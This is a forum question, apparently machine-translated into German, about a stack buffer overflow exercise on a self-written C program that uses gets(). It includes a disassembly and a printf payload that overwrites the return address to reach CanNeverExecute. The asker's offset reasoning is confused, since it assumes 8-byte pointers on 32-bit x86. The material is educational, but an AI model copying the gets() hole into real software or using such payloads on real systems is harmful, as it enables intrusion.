Ich versuche, eine Kontrolle über einen Stapelüberlauf zu nehmen. Als erstes ist hier ein Beispiel für C-Code I auf einem x32 kompiliert VM Linux (gcc -fno-stack-protector -ggdb -o first first.c
),Pufferüberlauf erschien, bevor es erwartet wird
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
Dann Debugger (intel Geschmack): dump von Assembler-Code für die Funktion GetInput
:
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
Hier Wir können sehen, dass sub esp, 0x28 40 Bytes für eine Puffervariable reserviert (Right?). CanNeverExecute
Funktion befindet sich in Adresse 0x0804843c
. Also, um CanNeverExecute
Funktion ausführen, muss ich 40 Bytes in die Puffervariable setzen, dann geht 8 Bytes für den gespeicherten Basiszeiger und dann 8 Bytes des Rückkehrzeigers ich möchte ändern.
Also brauche ich am Ende eine Reihe von 48 ASCII-Symbolen plus \x3c\x84\x04\x08
(Adresse der CanNeverExecute
Funktion). Das ist in der Theorie. Aber in der Praxis muss ich nur 20 Bytes vor Adresse des Schleppzeiger:
~/hacktest $ printf "123456789\x3c\x84\x04\x08" | ./first
123456789..
I can never execute
Illegal instruction (core dumped)
Warum braucht es nur 20 Bytes statt 48? Wo ist mein Fehler?